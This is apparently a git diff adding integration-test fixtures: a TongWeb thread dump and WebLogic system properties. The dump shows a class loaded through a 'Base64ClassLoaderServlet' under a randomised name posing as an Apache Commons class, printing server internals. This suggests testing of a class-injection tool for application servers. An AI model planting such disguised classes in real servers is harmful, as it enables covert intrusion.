java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"TW-0.0.0.0-9060-3" #68 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3a2c592b + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:17) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47) + at java.lang.Thread.run(Thread.java:750) + +"TW-Server-Scheduled-8" #109 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7ad47d87 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"TW-Server-Scheduled-2" #99 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7ad47d87 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"TW-0.0.0.0-8088-9" #84 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@41c72c44 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:17) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47) + at java.lang.Thread.run(Thread.java:750) + +"TW-Server-Thread-6" #24 daemon [WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3b9f7ef5 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:458) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.take(SynchronousQueue.java:924) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"TW-Server-Scheduled-7" #108 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7ad47d87 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"TW-0.0.0.0-8088-1" #76 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.lang.Thread.dumpThreads(Native Method) + at java.lang.Thread.getAllStackTraces(Thread.java:1615) + at org.apache.commons.lang.wYwFB.ErrorHandler.toString(BasicInfoPrinter.java:26) + at java.lang.String.valueOf(String.java:2994) + at com.tongweb.server.connector.CoyoteWriter.print(CoyoteWriter.java:237) + at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26) + at com.tongweb.server.core.ApplicationFilterChain.enterApp(ApplicationFilterChain.java:365) + at com.tongweb.server.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:235) + at com.tongweb.server.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:161) + at com.tongweb.web.websocket.server.WsFilter.doFilter(WsFilter.java:32) + at com.tongweb.server.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:196) + at com.tongweb.server.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:161) + at EmptyFilter.doFilter(EmptyFilter.java:21) + at com.tongweb.server.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:196) + at com.tongweb.server.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:161) + at com.tongweb.server.core.StandardWrapperValve.invoke(StandardWrapperValve.java:146) + at com.tongweb.server.core.StandardContextValve.invoke(StandardContextValve.java:78) + at com.tongweb.ee.server.OpenEJBValve.invoke(OpenEJBValve.java:29) + at com.tongweb.server.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:487) + at com.tongweb.server.core.StandardHostValve.invoke(StandardHostValve.java:117) + at com.tongweb.server.valves.ErrorReportValve.invoke(ErrorReportValve.java:64) + at com.tongweb.ee.server.OpenEJBSecurityListener$RequestCapturer.invoke(OpenEJBSecurityListener.java:80) + at com.tongweb.server.core.StandardEngineValve.invoke(StandardEngineValve.java:58) + at com.tongweb.server.connector.CoyoteAdapter.service(CoyoteAdapter.java:502) + at com.tongweb.coyote.http11.Http11Processor.service(Http11Processor.java:333) + at com.tongweb.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:48) + at com.tongweb.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:718) + at com.tongweb.web.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1642) + at com.tongweb.web.util.net.SocketProcessorBase.run(SocketProcessorBase.java:33) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47) + at java.lang.Thread.run(Thread.java:750) + +"TW-0.0.0.0-9060-BlockPoller" #31 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.tongweb.web.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:295) + +"TW-LogWriting" #17 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at com.tongweb.logger.impl.core.WritingThread.run(Unknown Source) + +"TW-periodic-2" #74 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@43c2cfc5 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47) + at java.lang.Thread.run(Thread.java:750) + +"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@d6c408c + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.lang.ref.Reference.tryHandlePending(Reference.java:191) + at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153) + +"TW-Server-Thread-2" #20 daemon [WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3b9f7ef5 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:458) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.take(SynchronousQueue.java:924) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"main" #1 [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at com.tongweb.server.core.StandardServer.await(StandardServer.java:510) + at com.tongweb.main.TongWeb.await(TongWeb.java:466) + at com.tongweb.main.TongWeb.start(TongWeb.java:430) + at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) + at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) + at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) + at java.lang.reflect.Method.invoke(Method.java:498) + at com.tongweb.main.TongWebMain.main(Unknown Source) + +"TW-Server-Scheduled-1" #98 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7ad47d87 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"TW-0.0.0.0-9060-1" #66 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3a2c592b + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:17) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47) + at java.lang.Thread.run(Thread.java:750) + +"TW-Server-Thread-7" #25 daemon [WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3b9f7ef5 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:458) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.take(SynchronousQueue.java:924) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"TW-Server-Thread-9" #27 daemon [WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3b9f7ef5 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:458) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.take(SynchronousQueue.java:924) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"TW-Server-Thread-8" #26 daemon [WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3b9f7ef5 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:458) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.take(SynchronousQueue.java:924) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"TW-0.0.0.0-8088-3" #78 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@41c72c44 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:17) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47) + at java.lang.Thread.run(Thread.java:750) + +"TW-Server-Scheduled-3" #100 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7ad47d87 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"TW-Server-Scheduled-4" #101 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7ad47d87 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"TW-Console-Thread-1" #93 daemon [WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@63229dac + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:458) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.take(SynchronousQueue.java:924) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"TW-periodic-8" #92 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@43c2cfc5 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47) + at java.lang.Thread.run(Thread.java:750) + +"TW-0.0.0.0-8088-2" #77 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@41c72c44 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:17) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47) + at java.lang.Thread.run(Thread.java:750) + +"TW-Server-Scheduled-6" #103 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7ad47d87 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + + +=========================================== + +StackClassNames: +Base64ClassLoaderServlet +EmptyFilter +com.tongweb.coyote.AbstractProcessorLight +com.tongweb.coyote.AbstractProtocol$ConnectionHandler +com.tongweb.coyote.http11.Http11Processor +com.tongweb.ee.server.OpenEJBSecurityListener$RequestCapturer +com.tongweb.ee.server.OpenEJBValve +com.tongweb.logger.impl.core.WritingThread +com.tongweb.main.TongWeb +com.tongweb.main.TongWebMain +com.tongweb.server.authenticator.AuthenticatorBase +com.tongweb.server.connector.CoyoteAdapter +com.tongweb.server.connector.CoyoteWriter +com.tongweb.server.core.ApplicationFilterChain +com.tongweb.server.core.StandardContextValve +com.tongweb.server.core.StandardEngineValve +com.tongweb.server.core.StandardHostValve +com.tongweb.server.core.StandardServer +com.tongweb.server.core.StandardWrapperValve +com.tongweb.server.util.Utils$b$a +com.tongweb.server.valves.ErrorReportValve +com.tongweb.web.util.net.Acceptor +com.tongweb.web.util.net.NioBlockingSelector$BlockPoller +com.tongweb.web.util.net.NioEndpoint +com.tongweb.web.util.net.NioEndpoint$Poller +com.tongweb.web.util.net.NioEndpoint$SocketProcessor +com.tongweb.web.util.net.SocketProcessorBase +com.tongweb.web.util.threads.TaskQueue +com.tongweb.web.util.threads.TaskThread$WrappingRunnable +com.tongweb.web.websocket.server.WsFilter +org.apache.commons.lang.wYwFB.ErrorHandler diff --git a/integration-test/src/test/resources/infos/WebLogic1036ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/WebLogic1036ContainerTestBasicInfo.txt new file mode 100644 index 00000000..13febf07 --- /dev/null +++ b/integration-test/src/test/resources/infos/WebLogic1036ContainerTestBasicInfo.txt @@ -0,0 +1,401 @@ +# Generated At 2025-08-10 15:01:47 +SystemProps: +java.vendor: Oracle Corporation +sun.java.launcher: SUN_STANDARD +org.xml.sax.parser: weblogic.xml.jaxp.RegistryParser +com.sun.xml.ws.api.streaming.XMLStreamReaderFactory.woodstox: true +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +os.name: Linux +sun.boot.class.path: /usr/local/openjdk-8/jre/lib/resources.jar:/usr/local/openjdk-8/jre/lib/rt.jar:/usr/local/openjdk-8/jre/lib/sunrsasign.jar:/usr/local/openjdk-8/jre/lib/jsse.jar:/usr/local/openjdk-8/jre/lib/jce.jar:/usr/local/openjdk-8/jre/lib/charsets.jar:/usr/local/openjdk-8/jre/lib/jfr.jar:/usr/local/openjdk-8/jre/classes +java.vm.specification.vendor: Oracle Corporation +java.runtime.version: 1.8.0_342-b07 +weblogic.Name: AdminServer +user.name: oracle +user.language: en +java.naming.factory.initial: weblogic.jndi.WLInitialContextFactory +sun.boot.library.path: /usr/local/openjdk-8/jre/lib/aarch64 +wlw.testConsole: +wlw.iterativeDev: +java.version: 1.8.0_342 +user.timezone: Etc/UTC +sun.arch.data.model: 64 +javax.rmi.CORBA.UtilClass: weblogic.iiop.UtilDelegateImpl +java.endorsed.dirs: /usr/local/openjdk-8/jre/lib/endorsed +vde.home: /opt/oracle/wls1036/user_projects/domains/base_domain/servers/AdminServer/data/ldap +sun.cpu.isalist: +sun.jnu.encoding: UTF-8 +file.encoding.pkg: sun.io +wlw.logErrorsToConsole: +file.separator: / +java.specification.name: Java Platform API Specification +java.class.version: 52.0 +weblogic.home: /opt/oracle/wls1036/server +com.sun.xml.ws.api.streaming.XMLStreamWriterFactory.woodstox: true +java.home: /usr/local/openjdk-8/jre +platform.home: /opt/oracle/wls1036 +java.vm.info: mixed mode +os.version: 6.14.10-orbstack-00291-g1b252bd3edea +org.omg.CORBA.ORBSingletonClass: weblogic.corba.orb.ORB +path.separator: : +java.vm.version: 25.342-b07 +java.protocol.handler.pkgs: weblogic.net|weblogic.utils|weblogic.utils|weblogic.utils +java.awt.printerjob: sun.print.PSPrinterJob +java.security.policy: /opt/oracle/wls1036/server/lib/weblogic.policy +sun.io.unicode.encoding: UnicodeLittle +awt.toolkit: sun.awt.X11.XToolkit +java.naming.factory.url.pkgs: weblogic.jndi.factories:weblogic.corba.j2ee.naming.url:weblogic.jndi.factories:weblogic.corba.j2ee.naming.url +user.home: /home/oracle +wls.home: /opt/oracle/wls1036/server +java.specification.vendor: Oracle Corporation +org.xml.sax.driver: weblogic.xml.jaxp.RegistryXMLReader +java.library.path: /opt/oracle/patch_wls1036/profiles/default/native:/opt/oracle/patch_ocp371/profiles/default/native:/opt/oracle/wls1036/server/native/linux/i686:/opt/oracle/wls1036/server/native/linux/i686/oci920_8:/usr/java/packages/lib/aarch64:/lib:/usr/lib +java.vendor.url: http://java.oracle.com/ +java.vm.vendor: Oracle Corporation +java.runtime.name: OpenJDK Runtime Environment +sun.java.command: weblogic.Server +java.class.path: /opt/oracle/patch_wls1036/profiles/default/sys_manifest_classpath/weblogic_patch.jar:/opt/oracle/patch_ocp371/profiles/default/sys_manifest_classpath/weblogic_patch.jar:/usr/local/openjdk-8/lib/tools.jar:/opt/oracle/wls1036/server/lib/weblogic_sp.jar:/opt/oracle/wls1036/server/lib/weblogic.jar:/opt/oracle/modules/features/weblogic.server.modules_10.3.6.0.jar:/opt/oracle/wls1036/server/lib/webservices.jar:/opt/oracle/modules/org.apache.ant_1.7.1/lib/ant-all.jar:/opt/oracle/modules/net.sf.antcontrib_1.1.0.0_1-0b2/lib/ant-contrib.jar:/opt/oracle/wls1036/common/derby/lib/derbyclient.jar:/opt/oracle/wls1036/server/lib/xqrl.jar +java.vm.specification.name: Java Virtual Machine Specification +java.vm.specification.version: 1.8 +javax.rmi.CORBA.PortableRemoteObjectClass: weblogic.iiop.PortableRemoteObjectDelegateImpl +sun.cpu.endian: little +sun.os.patch.level: unknown +java.io.tmpdir: /tmp +java.vendor.url.bug: http://bugreport.sun.com/bugreport/ +os.arch: aarch64 +java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment +java.ext.dirs: /usr/local/openjdk-8/jre/lib/ext:/usr/java/packages/lib/ext +user.dir: /opt/oracle/wls1036/user_projects/domains/base_domain +weblogic.ext.dirs: 